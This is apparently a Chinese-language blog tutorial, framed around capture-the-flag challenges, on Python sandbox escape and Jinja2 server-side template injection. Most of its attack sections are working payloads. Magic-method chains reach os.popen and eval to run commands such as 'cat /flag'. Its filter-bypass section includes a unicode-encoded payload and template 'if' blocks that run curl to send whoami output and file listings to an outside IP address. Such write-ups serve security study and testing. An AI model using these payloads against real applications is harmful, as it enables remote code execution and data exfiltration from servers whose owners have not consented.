前言
为什么将模板注入和沙箱逃逸放在一起,是因为他们两个的原理都是一样的,基本思路都是通过python的内置魔术方法来越权调用系统模块,达到执行命令的目的。
python沙箱逃逸
是网站在提供在线python脚本执行,而有不想用户直接使用python执行
系统命令对系统造成危害,而对Python的一个阉割版本,被阉割的版本删去了命令执行,服务器文件读写等相关函数和文件。
我们需要查找可调用的类和模块,来达到命令执行的目的。
ssti漏洞
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
模板引擎
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
python常用寻找链
__class__ //返回对象所属的类
__mro__ // 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ //回该类所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__ //新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
__init__ //的初始化方法
__globals__ //含函数全局变量的字典的引用
__builtins__ //引用的模块
基本思路
1、找到可用的类,从中找出包含os模块的类
查找方法''.__class__.__mro__[-1].__subclasses__()
Python3中, <class 'os._wrap_close'>包含OS模块
python2中,site._Printer 包含os模块
活用BurpSuit,先对过滤字经行fuzz测试,然后写建议payload,爆破[]中的利用类,可以选出包含OS模块的类。
如图,跑出132包含popen
沙箱逃逸中,通常能调用的命令执行,此时可以尝试写一个脚本payload来搜寻可用类
l = len(''.__class__.__mro__[-1].__subclasses__())
for i in range(l):
if 'wrapper' not in str(''.__class__.__mro__[2].__subclasses__()[i].__init__):
print (i, ''.__class__.__mro__[2].__subclasses__()[i])
search = 'o'+'s'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
也可以尝试寻找内置方法,如eval等命令执行函数
//寻找内置chr方法
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
2、执行命令
使用os模块
Py2
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
Py3
().__class__.__base__.__subclasses__()[117].__init__.__globals__['system']('ls')
内置方法
x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')
3、关键字绕过
1、'.'函数可改写为[],如.read改为['read']
2、[]和()内可用字符串拼接绕过
3、url_for:将url的路径进行反转
4、get_flashed_messages:返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages()
方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
5、request:是Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
范例payload:
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
4、符号过滤绕过
这是最头痛的一种过滤了,而且无法投机绕过,只能换别的方法。python是一门灵活的语言,总能找到绕过的方法。
常会被过滤的符号
{{
_
''
[]
*
()
.
- 过滤
.
可以用getattr或者attr绕过
例如''.__class__
可以写成getattr('',"__class__")
或者''|attr("__class__")
- 过滤
_
可以用dir(0)[0][0]
或者request['args']
或者request['values']
绕过 - 过滤
[]
用getitem()
来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
- 过滤
{{
{% %}
是逻辑相关的渲染{% for person in person_list %} <p>{{ person.name }}</p> {% endfor %}
也可执行if语句
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
也可以将结果返回你自己的服务器
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl ip:8080/ -d ls /| grep flag;') %}1{% endif %}
- unicode绕过
在安洵杯上见到的一种新绕过方法,还是我见识太少……
该题目过滤了{{
,'
,.
,_
,[]
,*
除了使用了我上面提到的绕过方法外,还是用了unicode编码绕过,这里直接放最终payload
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}
解码payload
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
这里使用attr绕过了.
,用{%%}
绕过{{
限制,然后对括号里的内容进行unicode编码,实现绕过。
lipsum是jinja2的内置全局变量,jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有globals键。
5、总结
python是一种很灵活的语言,注入时需要先了解框架版本、python版本等信息,结合实际进行调整。
Comments | NOTHING